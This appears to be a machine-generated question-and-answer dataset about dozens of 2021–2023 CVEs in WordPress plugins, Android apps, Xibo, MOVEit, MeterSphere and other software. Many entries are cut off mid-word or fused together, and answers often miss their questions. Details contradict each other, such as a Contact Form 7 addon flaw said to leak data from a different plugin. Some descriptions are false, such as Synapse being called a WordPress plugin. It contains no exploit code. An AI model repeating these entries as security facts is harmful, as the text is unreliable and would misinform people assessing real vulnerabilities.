Where can More information and details about CVE-2023-2484 can be found through the provided ref

What type CVE-2023-2237 identifies a SQL Injection vulnerability present in the WP Replicate Post plu

Which plug: The WP Replicate Post plugin for WordPress is affected by CVE-2023-2237.

What versi Versions up to, and including, 4.0.2 of the WP Replicate Post plugin for WordPress are imp

Through w In CVE-2023-2237, the SQL Injection vulnerability can be exploited via the 'post_id' paramet

What level An attacker needs to have a contributor-level access or higher to exploit the vulnerability c

When was CVE-2023-2237 was published on 09 June 2023.

Could you | Yes, one of the references to the code change addressing CVE-2023-2237 can be found her

What is the The consequence of the SQL Injection mentioned in CVE-2023-2237 is that attackers can af

How could An attacker could exploit CVE-2023-2237 by injecting malicious SQL code through the 'post

Are there a Yes, there are resources available online detailing CVE-2023-2237. For instance, Wordfenc

What is CV CVE-2023-1615 is a security vulnerability identified in the Ultimate Addons for Contact For

How does t The vulnerability in CVE-2023-1615 allows attackers to manipulate SQL queries by injecting

Could you | While I can't provide an actual malicious code example, I can explain the concept. An attac

What are t To exploit CVE-2023-1615, an attacker must have authenticated access to the WordPress s

Has CVE-2023-1615 was publicly disclosed as indicated by its entry in various references includ

What versions up to and including 3.1.23 of the Ultimate Addons for Contact Form 7 plugin are affected by CVE-2023-1615? An attack exploiting CVE-2023-1615 could lead to sensitive information being leaked from the Metform Elementor Contact Form Builder. Users should immediately update the Ultimate Addons for Contact Form 7 plugin to the latest version. More information about CVE-2023-1615 can be found in the listed references.

What is CVE-2023-1016? CVE-2023-1016 is a security vulnerability identified in the Intuitive Custom Post Order plugin. It can be exploited by an authenticated attacker with administrator permissions to gain unauthorized access to the WordPress Trac browser at https://trac.wordpress.org.

What version of the Intuitive Custom Post Order plugin is affected by CVE-2023-1016? CVE-2023-1016 affects all versions up to and including 3.1.3 of the Intuitive Custom Post Order plugin.

What are the official references for CVE-2023-1016? The exploitation of CVE-2023-1016 can result in an attacker gaining unauthorized access to the WordPress Trac browser. Official references include the WordPress plugin's Trac browser at https://trac.wordpress.org.

What can be done to mitigate the risks associated with CVE-2023-1016? To mitigate the risks associated with CVE-2023-1016, administrators should immediately update the Intuitive Custom Post Order plugin to the latest version.

Has a base score been assigned to CVE-2023-1016? As of the information provided, there has been no specific Base Score assigned to CVE-2023-1016.

When was CVE-2023-1016 published? CVE-2023-1016 was published on 09 June 2023.

What is the CVE ID for the Cross-Site Scripting vulnerability in the Metform Elementor Contact Form Builder? The CVE ID for the Cross-Site Scripting vulnerability in the Metform Elementor Contact Form Builder is CVE-2023-0710.

Which versions of the Metform Elementor Contact Form Builder are affected by CVE-2023-0710? The vulnerability CVE-2023-0710 affects versions of the Metform Elementor Contact Form Builder.

What permissions does an attacker need to exploit CVE-2023-0710? An attacker would need to have at least contributor-level permissions or above to exploit CVE-2023-0710.

How does the Cross-Site Scripting vulnerability in CVE-2023-0710 work? The Cross-Site Scripting vulnerability in CVE-2023-0710 is triggered when a victim visits a page containing malicious script.

Are there any known mitigations for CVE-2023-0710? Yes, the exploitation of CVE-2023-0710 requires user interaction, as the victim must visit a page containing malicious script.

Can you provide an example attack scenario for CVE-2023-0710? An example attack scenario using CVE-2023-0710 could involve an attacker with contributor-level permissions injecting malicious script into a page.

When was CVE-2023-0710 published? CVE-2023-0710 was published on 09 June 2023.

Where can more information and possible fixes for CVE-2023-0710 be found? More information and possible fixes for CVE-2023-0710 can be found at the provided reference links.

What measures should users take if they are affected by CVE-2023-0710? Users of the Metform Elementor Contact Form Builder affected by CVE-2023-0710 should update to the latest version of the plugin.

What is CVE-2023-0709? CVE-2023-0709 refers to a security vulnerability discovered in the Metform Elementor Contact Form Builder.

What type of attack is CVE-2023-0709? To exploit CVE-2023-0709, an attacker would need to have contributor-level permissions or above.

How can CVE-2023-0709 be exploited? CVE-2023-0709 can be exploited by an attacker who manages to inject malicious scripts into a page.

What is the impact of the XSS vulnerability in CVE-2023-0709? The impact of the XSS vulnerability in CVE-2023-0709 is that it allows attackers to run malicious code on the victim's browser.

Were there any patches made available for CVE-2023-0709? Yes, patches were made available to address CVE-2023-0709, as indicated by the provided reference link.

Can you provide an example attack scenario for CVE-2023-0709? A possible attack scenario for CVE-2023-0709 might involve a malicious actor who has gained access to a page and injected malicious script.

What version of the Metform Elementor Contact Form Builder plugin for WordPress is affected by CVE-2023-0709? CVE-2023-0709 affects the Metform Elementor Contact Form Builder plugin for WordPress.

What is CVE-2023-0708? CVE-2023-0708 refers to a security vulnerability in the Metform Elementor Contact Form Builder.

How can CVE-2023-0708 be exploited? CVE-2023-0708 can be exploited by an authenticated attacker with at least contributor-level permissions.

What level of permissions are required to exploit CVE-2023-0708? To exploit CVE-2023-0708, attackers require contributor-level permissions or above on the page where the XSS script is injected.

What is required for the XSS script to execute in CVE-2023-0708? For the XSS script to execute in CVE-2023-0708, user interaction is required. This means that the user must click on the malicious link.

Has CVE-2023-0708 been addressed? Yes, CVE-2023-0708 has been addressed, and information about the fix can be found in the provided reference link.

Can you provide a simplified example of the vulnerable code for CVE-2023-0708? Given the nature of CVE-2023-0708, a simplified example of the vulnerable code might involve a malicious 'mf' shortcode.

How was CVE-2023-0708 made public? CVE-2023-0708 was made public on 09 June 2023, and details of the vulnerability can be found in the provided reference link.

What is the design of the Metform Elementor Contact Form Builder plugin for WordPress? The Metform Elementor Contact Form Builder plugin for WordPress is designed to allow users to create contact forms using the Elementor page builder.

What type of vulnerability is identified in the Metform Elementor Contact Form Builder? CVE-2023-0695 identifies a Cross-Site Scripting (XSS) vulnerability in the Metform Elementor Contact Form Builder.

Which versions of the Metform Elementor Contact Form Builder plugin are affected by CVE-2023-0695? The versions of the Metform Elementor Contact Form Builder plugin affected by CVE-2023-0695 are 3.1.23 and earlier.

How can an attacker exploit CVE-2023-0695? An attacker can exploit the CVE-2023-0695 vulnerability by using the 'mf' shortcode to embed malicious script.

What are the requirements for carrying out an attack using CVE-2023-0695? To carry out an attack using the CVE-2023-0695 vulnerability, the attacker must be authenticated and have access to the page where the 'mf' shortcode is used.

Could you provide a specific code example for CVE-2023-0695? While a specific code example is not provided, a malicious 'mf' shortcode in the context of a contact form could look like this: <?php echo do_shortcode('[mf]'); ?>

What action should site administrators take? Site administrators should immediately update the Metform Elementor Contact Form Builder plugin to the latest version.

What is an example attack scenario for CVE-2023-0695? An example attack scenario for CVE-2023-0695 might involve an attacker who has gained access to a contact form and injected malicious script using the 'mf' shortcode.

Where can More information and a technical description of CVE-2023-0695 can be found on various security blog posts and documentation? What is CV CVE-2021-4381 refers to a security vulnerability discovered in the uListing plugin for WordPress. In which plugin was the vulnerability found?

What could happen if an attacker exploited CVE-2021-4381? By exploiting CVE-2021-4381, an attacker could bypass authorization mechanisms and change data in the database.

Up to which version is CVE-2021-4381 applicable? Up to which version is CVE-2021-4381 applicable? Up to, and including, 1.6.6 of the uListing plugin. Was there a missing security nonce and capability checks in the vulnerable versions of the plugin?

Are there any additional references available for CVE-2021-4381? Yes, additional information about CVE-2021-4381 can be found at the following references:

Can you provide an example of an attack scenario for CVE-2021-4381? One potential attack scenario for CVE-2021-4381 involves an unauthenticated attacker sending a specially crafted request to the uListing plugin.

When was CVE-2021-4381 published? CVE-2021-4381 was published on 07 June 2023.

Has CVE-2021-4381 been assigned a CVSS base score? As of the information provided, CVE-2021-4381 does not have an assigned CVSS base score.

How can users mitigate the risk associated with CVE-2021-4381? To mitigate the risk associated with CVE-2021-4381, users of the uListing plugin should update to the latest version.

What is CV CVE-2021-4347? CVE-2021-4347 is a security vulnerability found in the Advanced Shipment Tracking for WooCommerce plugin.

How does CVE-2021-4347 affect a WordPress site? CVE-2021-4347 affects a WordPress site by allowing attackers at the customer level to exploit a SQL injection vulnerability.

What was the initial fix released for CVE-2021-4347? The initial fix released for CVE-2021-4347 was in version 3.2.5 of the Advanced Shipment Tracking for WooCommerce plugin.

Can you provide detailed information on CVE-2021-4347? Yes, detailed information on CVE-2021-4347 can be found at the following URLs: <https://wpvulndb.com/vulnerabilities/1034>.

What are potential attack scenarios for CVE-2021-4347? Potential attack scenarios for CVE-2021-4347 include attackers using customer-level account details to manipulate shipping information.

What should site administrators do to mitigate the risk of CVE-2021-4347? Site administrators should immediately update the Advanced Shipment Tracking for WooCommerce plugin to the latest version.

What is CV CVE-2021-4341? CVE-2021-4341 refers to a security vulnerability in the uListing plugin for WordPress. This vulnerability concerns the uListing plugin for WordPress.

Which version of the uListing plugin is affected by CVE-2021-4341? CVE-2021-4341 concerns the uListing plugin for WordPress, affecting versions up to and including 1.6.6.

What kind of vulnerability is CVE-2021-4341 classified as? CVE-2021-4341 is classified as an authorization bypass vulnerability that occurs via Ajax requests.

What can attackers do if they exploit CVE-2021-4341? By exploiting CVE-2021-4341, attackers can change any WordPress option in the database.

When was CVE-2021-4341 published? CVE-2021-4341 was published on 07 June 2023.

Could you provide more information on CVE-2021-4341? Yes, more information on CVE-2021-4341 can be found at the following sources: <https://wpvulndb.com/vulnerabilities/1035>.

What measures should users take to mitigate the risk of CVE-2021-4341? To mitigate CVE-2021-4341, users should update the uListing plugin for WordPress to the latest version.

Can you describe how an attacker could exploit CVE-2021-4341? An attacker could exploit CVE-2021-4341 by sending a specially crafted Ajax request to the uListing plugin.

What is CV CVE-2021-4340? CVE-2021-4340 is a vulnerability found in the uListing plugin for WordPress. This vulnerability concerns the uListing plugin for WordPress.

What type of vulnerability is CVE-2021-4340? CVE-2021-4340 allows unauthenticated attackers to perform SQL Injection attacks. Attackers can use this vulnerability to manipulate data in the database.

Was the vulnerability CVE-2021-4340 addressed? Yes, the vulnerability CVE-2021-4340 was addressed. The information about this vulnerability is available on the official WordPress plugin repository.

Where can more information about CVE-2021-4340 be found? More information about CVE-2021-4340 can be found on various security blog posts and documentation.

Can you provide an example of an attack scenario for CVE-2021-4340? While I cannot provide an actual code example for ethical reasons, an attack exploiting CVE-2021-4340 could involve sending a specially crafted SQL query to the database.

What is the impact of CVE-2021-4340 on a WordPress website? The impact of CVE-2021-4340 on a WordPress website can be significant, as it allows an attacker to manipulate data in the database.

Was a base score provided for CVE-2021-4340? The provided information does not include a base score for CVE-2021-4340. Often, such scores are not provided for vulnerabilities that are not publicly disclosed.

What is CV CVE-2021-4339? CVE-2021-4339 refers to a security vulnerability in the uListing plugin for WordPress where sensitive user information is exposed.

How can an attacker exploit CVE-2021-4339? An attacker can exploit CVE-2021-4339 by sending a specially crafted request to the uListing plugin.

What are the consequences of exploiting CVE-2021-4339? The exploitation of CVE-2021-4339 could lead to unauthorized disclosure of sensitive user information.

What versions of the uListing plugin are affected by CVE-2021-4339? CVE-2021-4339 affects all versions of the uListing plugin for WordPress up to and including 1.6.6.

What steps should users take to mitigate or fix CVE-2021-4339? To mitigate or fix CVE-2021-4339, users should update the uListing plugin for WordPress to the latest version.

Where can more information about CVE-2021-4339 be found? More information about CVE-2021-4339 can be found through various sources including the official WordPress plugin repository.

When was CVE-2021-4339 published? CVE-2021-4339 was published on 07 June 2023.

What type of vulnerability is CVE-2021-4339 classified as? CVE-2021-4339 is classified as an authorization bypass vulnerability.

What is CV CVE-2023-32682? CVE-2023-32682 refers to a security vulnerability discovered in Synapse, which is a homesite plugin for WordPress.

Under what circumstances can a user log in even if their account is deactivated? The CVE-2023-32682 vulnerability allows a deactivated user to log in if any of the following conditions are met:

How can administrators mitigate this vulnerability? To mitigate CVE-2023-32682, administrators should upgrade their Synapse installations to the latest version.

What configurations are not affected by CVE-2023-32682? Configurations that are not affected by CVE-2023-32682 include installations configured to use two-factor authentication or other security measures.

Where can More information about the CVE-2023-32682 security advisory can be found on GitHub's security advisories page? A possible attack scenario for CVE-2023-32682 would involve a previously deactivated user account being reactivated to gain access to sensitive data.

What is CVE-2023-34097? CVE-2023-34097 is a security vulnerability identified in hopscotch, which is an open source mobile game.

Which versions of hopscotch prior to 2023.4.5 are affected by CVE-2023-34097?

What is the recommended mitigation for CVE-2023-34097? The recommended mitigation for CVE-2023-34097 is to upgrade hopscotch to version 2023.4.5 or later.

Are there any known workarounds for CVE-2023-34097? There are no known workarounds for CVE-2023-34097. The best course of action is to upgrade to a fixed version.

Can you provide more details about Exploiting CVE-2023-34097? Exploiting CVE-2023-34097 could involve an attacker gaining access to system logs where they can find sensitive information.

Where can More information about CVE-2023-34097 be found in the security advisories on GitHub's security advisories page?

What is the potential impact of CVE-2023-34097? The potential impact of CVE-2023-34097 includes the unauthorized access and potential modification of user data.

What is CVE-2023-34362? CVE-2023-34362 refers to a SQL injection vulnerability discovered in Progress MOVEit Transfer.

What versions of MOVEit Transfer are vulnerable to CVE-2023-34362? All versions prior to 2023.1.1 are vulnerable.

How can CVE-2023-34362 be exploited via HTTP or HTTPS requests to the MOVEit Transfer web interface?

What might be the impact of CVE-2023-34362? The impact of CVE-2023-34362 includes potential unauthorized access to the MOVEit Transfer database.

When was CVE-2023-34362 published? CVE-2023-34362 was published on June 2, 2023.

Where can More information about CVE-2023-34362 be found on various security websites such as ExploitDB?

What are some potential attack scenarios for CVE-2023-34362? Potential attack scenarios for CVE-2023-34362 include an attacker crafting a malicious SQL query to extract sensitive data from the database.

What is CVE-2023-2201? CVE-2023-2201 is a security vulnerability identified in the Web Directory Free plugin for WordPress.

How can CVE-2023-2201 be exploited by an authenticated attacker with at least contributor privileges?

What versions of CVE-2023-2201 affects versions up to and including 1.6.7 of the Web Directory Free for WordPress plugin?

What is the potential impact of CVE-2023-2201? An attack exploiting CVE-2023-2201 could lead to unauthorized access to sensitive information.

Are there any known workarounds for CVE-2023-2201? Yes, more details about CVE-2023-2201 can be found through the following references: 1. 1

When was CVE-2023-2201 published? CVE-2023-2201 was published on June 2, 2023.

Can you provide specific code that exploits CVE-2023-2201? While specific code that exploits CVE-2023-2201 should not be shared for security reasons,

What measures can be taken to secure a WordPress site against CVE-2023-2201? To secure a WordPress site against CVE-2023-2201, the Web Directory Free plugin should be updated to the latest version.

What is the CVE ID for the described vulnerability? The CVE ID for the described vulnerability is CVE-2023-29725.

Can you provide details about CVE-2023-29725? CVE-2023-29725 details a vulnerability in the BT21 x BTS Wallpaper app version 12 for Android.

What are the exploitation steps for CVE-2023-29725? The exploitation of the vulnerability in CVE-2023-29725 can result in a denial of service attack.

Has the CVSS base score for CVE-2023-29725 been assigned or is it not specified in the provided information?

When was CVE-2023-29725 published? CVE-2023-29725 was published on June 2, 2023.

Where can More information and potentially malicious downloads related to CVE-2023-29725 be found?

What kind of exploit can be used against CVE-2023-29725? By exploiting the CVE-2023-29725 vulnerability, an attacker can perform a persistent denial of service attack.

What version of the BT21 x BTS Wallpaper app for Android is affected by CVE-2023-29725?

What is the CVSS base score for CVE-2023-29724? CVE-2023-29724 is a security vulnerability identified in the BT21 x BTS Wallpaper app version 12 for Android.

When was CVE-2023-29724 published? CVE-2023-29724 was published on June 2, 2023.

What are the exploitation steps for CVE-2023-29724? Exploiting CVE-2023-29724 can lead to an escalation of privilege attack, where an attacker gains root access to the device.

How can CVE-2023-29724 be exploited? CVE-2023-29724 can be exploited by an unauthorized app requesting permission to modify system files.

What type of devices are affected by CVE-2023-29724? CVE-2023-29724 affects Android devices that have the BT21 x BTS Wallpaper app version 12 installed.

Where can More information on CVE-2023-29724 be found on various websites including the public exploit database?

What is the CVSS base score for CVE-2023-29724? The base score for CVE-2023-29724 is not available ('N/A'). This could indicate that either it has not been assigned or it is not publicly available.

Can you provide the exploit code for CVE-2023-29724? Actual exploit code for CVE-2023-29724 isn't provided here because it could be irresponsible to publish it.

What steps can be taken to mitigate CVE-2023-29724? To mitigate CVE-2023-29724, it is recommended to update the BT21 x BTS Wallpaper app to the latest version.

Can you describe a potential attack scenario using CVE-2023-29724? A potential attack scenario using CVE-2023-29724 might involve a malicious app that is able to escalate its privileges on the device.

What is the CVE ID for the vulnerability in the Glitter Unicorn Wallpaper app? The CVE ID of the vulnerability in the Glitter Unicorn Wallpaper app is CVE-2023-29723.

Which Android versions are affected by CVE-2023-29723? CVE-2023-29723 affects Android versions 7.0 through 8.0.

What type CVE-2023-29723 allows unauthorized applications to request permission to insert data into the Glitter Unicorn Wallpaper app's database?

What kind An attacker could exploit CVE-2023-29723 to inject malicious image URLs into the Glitter Unicorn Wallpaper app.

Has the CV As of the current information available, CVE-2023-29723 has not been assigned a base score.

On what date The vulnerability with ID CVE-2023-29723 was published on 01 June 2023.

Can you provide more details about CVE-2023-29723? Additional details about CVE-2023-29723 can be found at the following URL: <https://github.com/cve-project/cve-2023-29723>.

Could you explain how an attacker might create a seemingly benign app that requests permission to access the Glitter Unicorn Wallpaper app?

What is CVE-2023-29722? CVE-2023-29722 refers to a security vulnerability in the Glitter Unicorn Wallpaper app described in CVE-2023-29723.

Which version(s) of the Glitter Unicorn Wallpaper app is affected by CVE-2023-29722? CVE-2023-29722 affects Android versions 7.0 through 8.0.

What kind By exploiting CVE-2023-29722, an attacker could tamper with the data in the database to compromise user privacy.

How can an attacker exploit CVE-2023-29722? An attacker can exploit CVE-2023-29722 by crafting unauthorized applications that request permission to access the Glitter Unicorn Wallpaper app.

What is the impact of CVE-2023-29722? An escalation of privilege attack via CVE-2023-29722 could allow an attacker to gain higher privileges on the device.

When was CVE-2023-29722 first published? CVE-2023-29722 was first published on 01 June 2023.

Where can I find more information about CVE-2023-29722? More information about CVE-2023-29722 can be found in the CVE detail documentation at <https://nvd.nist.gov/vuln/detail/CVE-2023-29722>.

What is CVE-2023-28824? CVE-2023-28824 refers to a server-side request forgery (SSRF) vulnerability discovered in the CONPROSYS HMI System (CHS).

Which versions of the CONPROSYS HMI System (CHS) are impacted by CVE-2023-28824? CVE-2023-28824 impacts CONPROSYS HMI System (CHS) versions prior to 3.5.3. Administrators should update to the latest version.

What kind Due to CVE-2023-28824, an attacker with administrative privileges can perform a server-side request forgery (SSRF) attack.

How can users mitigate CVE-2023-28824? To mitigate CVE-2023-28824, users should upgrade their CONPROSYS HMI System (CHS) to the latest version.

Are there any public references available for more information on CVE-2023-28824? Yes, there are public references available for more information on CVE-2023-28824. The following URL provides detailed information: <https://nvd.nist.gov/vuln/detail/CVE-2023-28824>.

When was CVE-2023-28824 first published? CVE-2023-28824 was published on 01 June 2023.

What is the base score for CVE-2023-28824? The base score for CVE-2023-28824 is not available ('N/A'). A base score is typically assigned to vulnerabilities based on severity and complexity.

What is the CVE ID for this vulnerability? The CVE ID for this vulnerability is CVE-2023-28713.

What versions of the CONPROSYS HMI System are affected by CVE-2023-28713? CONPROSYS HMI System versions prior to 3.5.3 are affected by the vulnerability CVE-2023-28713.

How are products affected? In the affected versions of the CONPROSYS HMI System, account information of the database can be forged.

Could a user exploit this vulnerability? Yes, if a user can access the PC where the affected product is installed, they could obtain a copy of the database.

What are the potential impacts? If CVE-2023-28713 is exploited, an unauthorized user could gain access to sensitive information stored in the database.

When was CVE-2023-28713 first published? The CVE-2023-28713 vulnerability was published on 01 June 2023.

Where can I find more information about CVE-2023-28713? More information about CVE-2023-28713 can be found at the following references:- <https://nvd.nist.gov/vuln/detail/CVE-2023-28713>, <https://www.zmtqs.com/zmtqs/2023/06/01/cve-2023-28713.html>.

Has a base score been assigned? As per the provided information, no Base Score has been assigned or made available for this vulnerability.

What can users do to mitigate or fix this vulnerability? To mitigate or fix the vulnerability described in CVE-2023-28713, users should update their CONPROSYS HMI System to the latest version.

Can you provide an example of an attack scenario for CVE-2023-28713? An attacker with access to the PC where CONPROSYS HMI System, affected by CVE-2023-28713, is installed could exploit the vulnerability to gain unauthorized access to the database.

What is CVE-2023-29745? CVE-2023-29745 is a security vulnerability found in BestWeather v.7.3.1 for Android, which is a weather application.

In what application is CVE-2023-29745 found? CVE-2023-29745 was found in the BestWeather application, version 7.3.1, designed for Android devices.

What type of vulnerability is CVE-2023-29745? CVE-2023-29745 is categorized as a denial of service vulnerability due to it allowing unauthorized users to crash the application.

When was CVE-2023-29745 first published? CVE-2023-29745 was published on the 31st of May, 2023.

Are there any public references available for more information on CVE-2023-29745? Yes, more information on CVE-2023-29745 is available at various URLs: <http://www.zmtqs.com/zmtqs/2023/05/31/cve-2023-29745.html>, <https://nvd.nist.gov/vuln/detail/CVE-2023-29745>.

What is the base score for CVE-2023-29745? The base score of CVE-2023-29745 is currently not available (N/A).

What could be a plausible attack scenario for CVE-2023-29745? A plausible scenario could involve an attacker deploying an unauthorized app that when installed, causes the BestWeather application to crash repeatedly, leading to a denial of service.

What is CVE-2023-29743? CVE-2023-29743 identifies a security vulnerability found in BestWeather version 7.3.1 for Android.

When was CVE-2023-29743 first published? CVE-2023-29743 was published on the 30th of May, 2023.

What type of vulnerability is CVE-2023-29743? CVE-2023-29743 allows unauthorized applications to perform a persistent denial of service on the BestWeather application.

Are there any public references available for more information on CVE-2023-29743? Yes, further information on CVE-2023-29743 can be found at the following URLs: <http://www.zmtqs.com/zmtqs/2023/05/30/cve-2023-29743.html>, <https://nvd.nist.gov/vuln/detail/CVE-2023-29743>.

What is the base score for CVE-2023-29743? The base score for CVE-2023-29743 has not been assigned. It is marked as 'N/A' in the provided information.

Can you provide an example of an attack scenario for CVE-2023-29743? An attack scenario for CVE-2023-29743 could involve a malicious application that exploits the vulnerability to crash the BestWeather application repeatedly, preventing users from using it.

What measures can users take to mitigate the risk posed by CVE-2023-29743? To mitigate the risk posed by CVE-2023-29743, users should update the BestWeather app to the latest version.

What is the CVE-2023-29741 refers to a security vulnerability found in BestWeather version 7.3.1 for Android. Which version of CVE-2023-29741 affects the BestWeather app for Android, version 7.3.1.

What could happen if an attacker exploited CVE-2023-29741? By exploiting CVE-2023-29741, an attacker could achieve an escalation of privileges, meaning they would gain more control over the device.

Has a base score assigned to CVE-2023-29741? As of the information provided, a base score has not been assigned to CVE-2023-29741.

On what date was CVE-2023-29741 published? CVE-2023-29741 was published on 30 May 2023.

Where can More information about CVE-2023-29741 be found at the following references: 'http://www.cvedetails.com/cve/2023-29741/'

What are the potential attack scenarios for CVE-2023-29741? Potential attack scenarios for CVE-2023-29741 could involve a malicious app installed on the device.

How can users protect themselves from CVE-2023-29741? To protect themselves from CVE-2023-29741, users should update the BestWeather app on their device.

What is CVE-2023-29740 a security vulnerability found in Alarm Clock for Heavy Sleepers version 6.6.3 for Android?

On what date was CVE-2023-29740 published? CVE-2023-29740 was published on the 30th of May, 2023.

What type of attack does CVE-2023-29740 allow? CVE-2023-29740 allows a denial of service (DoS) attack to be carried out by unauthorized applications.

What is the base score for CVE-2023-29740? The base score for CVE-2023-29740 has not been provided or assessed yet as signified by 'N/A'.

What is the impact of the vulnerability CVE-2023-29740? The impact of the vulnerability CVE-2023-29740 involves the potential for unauthorized applications to cause system instability.

Could you provide an example of a potential attack scenario for CVE-2023-29740? A potential attack scenario for CVE-2023-29740 might involve a malicious app that, once installed, continuously sends requests to the device's alarm clock service.

Where can additional details about CVE-2023-29740 be found? Additional details about CVE-2023-29740 can be found by visiting the references provided.

What is CVE-2023-29738 a security vulnerability identified in Wave Animated Keyboard Emoji application?

How severe is the base score for CVE-2023-29738? The Base Score for CVE-2023-29738 is currently not available. Without the CVSS (Common Vulnerability Scoring System), it is difficult to assess its severity.

When was CVE-2023-29738 published? CVE-2023-29738 was published on May 30, 2023.

Where can additional information about CVE-2023-29738 be found? Additional information about CVE-2023-29738 can be found on several resources including the official developer documentation and community forums.

What type of attack does CVE-2023-29738 enable? CVE-2023-29738 enables a local attack where the attacker can execute arbitrary code and gain elevated privileges.

What measures can users take to mitigate CVE-2023-29738? To mitigate CVE-2023-29738, users should update the Wave Animated Keyboard Emoji application to the latest version.

Can you provide an example of an attack scenario for CVE-2023-29738? An example attack scenario for CVE-2023-29738 could involve a malicious actor with physical access to a user's device.

What is CVE-2023-29727 a vulnerability identified in the Call Blocker application version 6.6.3 for Android?

When was CVE-2023-29727 published? CVE-2023-29727 was published on May 30, 2023.

What type of attack does CVE-2023-29727 allow? CVE-2023-29727 can lead to an escalation of privilege attack, where an attacker might gain root access to the device.

Which app is affected by CVE-2023-29727? CVE-2023-29727 affects the Call Blocker application, specifically version 6.6.3, for Android.

What function is compromised by CVE-2023-29727? The vulnerability CVE-2023-29727 compromises the functionality related to user privacy settings.

How could an attacker exploit CVE-2023-29727? An attacker could exploit CVE-2023-29727 by using an unauthorized application to interact with the Call Blocker service.

Are there any known workarounds for CVE-2023-29727? Yes, detailed information about CVE-2023-29727 can be found via references such as the official developer documentation.

What should users do to protect themselves from CVE-2023-29727? Users of the Call Blocker application version 6.6.3 should look for updates or patches provided by the developer.

What is CVE-2023-29726 a vulnerability found in the Call Blocker application version 6.6.3 for Android?

How does CVE-2023-29726 affect the Call Blocker application? The vulnerability in CVE-2023-29726 affects the Call Blocker application by allowing an attacker to inject a large volume of data into the system.

What type of attack does CVE-2023-29726 facilitate? CVE-2023-29726 can facilitate a denial of service (DoS) attack. By injecting a large volume of data, an attacker can overwhelm the system.

Can you provide an example of an attack scenario for CVE-2023-29726? While no specific code example is provided, an attack exploiting CVE-2023-29726 might involve sending a large amount of data to the Call Blocker service.

What are the mitigation steps for CVE-2023-29726? To mitigate CVE-2023-29726, users should update the Call Blocker application to the latest version.

Where can additional information about CVE-2023-29726 be found? Additional information about CVE-2023-29726 can be found through several references, including the official developer documentation.

What is the impact of CVE-2023-29726 on users? The impact of CVE-2023-29726 on users is significant as it can lead to a persistent denial of service.

When was CVE-2023-29726 first published? CVE-2023-29726 was first published on May 30, 2023.

What is CVE-2023-33180 associated with? Xibo, which is a content management system (CMS). It is used in various industries for digital signage and kiosk solutions.

Which versions of Xibo are affected by CVE-2023-33180? CVE-2023-33180 affects Xibo versions starting from 3.2.0 up to but not including version 3.3.5.

What API route is vulnerable? According to CVE-2023-33180, the `/display/map` API route inside the Xibo CMS is vulnerable to injection attacks.

How does CVE-2023-33180 allow an attacker to exploit the system? CVE-2023-33180 allows an attacker to exploit the system by injecting specially crafted values into the `/display/map` route.

What mitigation steps are recommended for users? For users affected by CVE-2023-33180, it is suggested to upgrade to version 3.3.5 of Xibo, as this version includes a fix for the vulnerability.

Are there any known workarounds? No known workarounds have been reported for CVE-2023-33180, apart from upgrading to the patched version.

When was CVE-2023-33180 published on 30 May 2023.

Can you pr Yes, more information about CVE-2023-33180 can be found through the following referenc

What coul A possible attack scenario for exploiting CVE-2023-33180 could involve an authenticated a

What is CV CVE-2023-33179 refers to a security vulnerability identified in Xibo, which is a content man

What versi The versions of Xibo CMS affected by CVE-2023-33179 are those starting from version 3.2.1

What is t The solution to mitigate CVE-2023-33179 is to upgrade the Xibo CMS to version 3.3.5, whic

Are there a No, there are no known workarounds for CVE-2023-33179. The only recommended action

What are s In potential attack scenarios for CVE-2023-33179, an authenticated user with malicious int

How was C CVE-2023-33179 was publicly disclosed on the official GitHub security advisories section fo

What is CV CVE-2023-33178 is an identifier for a specific security vulnerability found in Xibo, a content

Which vers The versions of Xibo affected by CVE-2023-33178 are those starting from version 1.4.0 up t

How does t The CVE-2023-33178 vulnerability allows an authenticated user to perform an SQL injectio

What are t Possible attack scenarios for CVE-2023-33178 include an authenticated user injecting a ma

Is there a v No, there are no workarounds for CVE-2023-33178. The recommended course of action fo

Where can Additional information regarding CVE-2023-33178 can be found through the following sour

When was CVE-2023-33178 was publicly disclosed on May 30, 2023.

What is t The base score for CVE-2023-33178 is not available. Often, the base score will be assigned

What is CV CVE-2023-29735 refers to a security vulnerability identified in the edjing Mix application ve

Which app The application affected by CVE-2023-29735 is edjing Mix, specifically version 7.09.01 for /

How can a An attacker can exploit CVE-2023-29735 by manipulating the database files of the edjing M

What type CVE-2023-29735 is classified as a denial of service (DoS) vulnerability.

When was CVE-2023-29735 was first published on 30 May 2023.

What is t The Base Score for CVE-2023-29735 has not been specified or made available, as indicated

Where can More information about CVE-2023-29735 can be found in the reference provided, which is

Can you de A possible attack scenario for CVE-2023-29735 could involve an attacker with physical acce

What is CV CVE-2023-29734 refers to a security vulnerability identified in edjing Mix v.7.09.01 for And

Which app The application affected by CVE-2023-29734 is edjing Mix v.7.09.01, which is designed for .

What type CVE-2023-29734 makes possible an escalation of privilege attack, where an unauthorized a

As of when CVE-2023-29734 was publicly disclosed on May 30, 2023.

Where can Additional information about CVE-2023-29734 can be found on the provided reference, wh

Is there a k There is no publicly available Base Score for CVE-2023-29734 at this time. The Base Score i

What kind The unauthorized app activity involved in CVE-2023-29734 includes the ability to manipula

Can you de In a possible attack scenario for CVE-2023-29734, a malicious application installed on the s

What is t The vulnerability in CVE-2023-32699 is associated with the `checkUserPassword` method in

How is the In MeterSphere, according to the description of CVE-2023-32699, the password is encrypte

What type CVE-2023-32699 is a Denial of Service (DoS) vulnerability.

How can C CVE-2023-32699 can be exploited by an attacker submitting an excessively long password

What versi Versions of MeterSphere up to and including 2.9.1 are affected by the vulnerability CVE-2C

What is t The mitigation for CVE-2023-32699 involves updating to MeterSphere version 2.10.0-Its, w

Where can More information about the fix for CVE-2023-32699 can be found in the commit on MeterS

What pote A potential attack scenario for CVE-2023-32699 could be an attacker deliberately submittir

Was there No base score was provided for CVE-2023-32699 in the information given at the time of its

Can you sh While a specific code example for exploiting CVE-2023-32699 is not provided, a hypothetic

What is CV CVE-2023-29737 refers to a security issue discovered in Wave Animated Keyboard Emoji vi

How can An attacker can exploit CVE-2023-29737 by manipulating or corrupting the database files contained within the application?

What type CVE-2023-29737 can be used to carry out a denial of service (DoS) attack. This type of attack is particularly effective against databases.

When was CVE-2023-29737 was published on 30 May 2023.

Where can More information about CVE-2023-29737 can be found at the official Wave Animated Keyboard Emojis GitHub repository.

What means To mitigate CVE-2023-29737, users should update the Wave Animated Keyboard Emoji API to the latest version.

Has a Base As of the current information provided, CVE-2023-29737 does not have an assigned Base Score.

What is CVE CVE-2023-2111 is a security vulnerability found in the 'Fast & Effective Popups & Lead-Gen' plugin for WordPress.

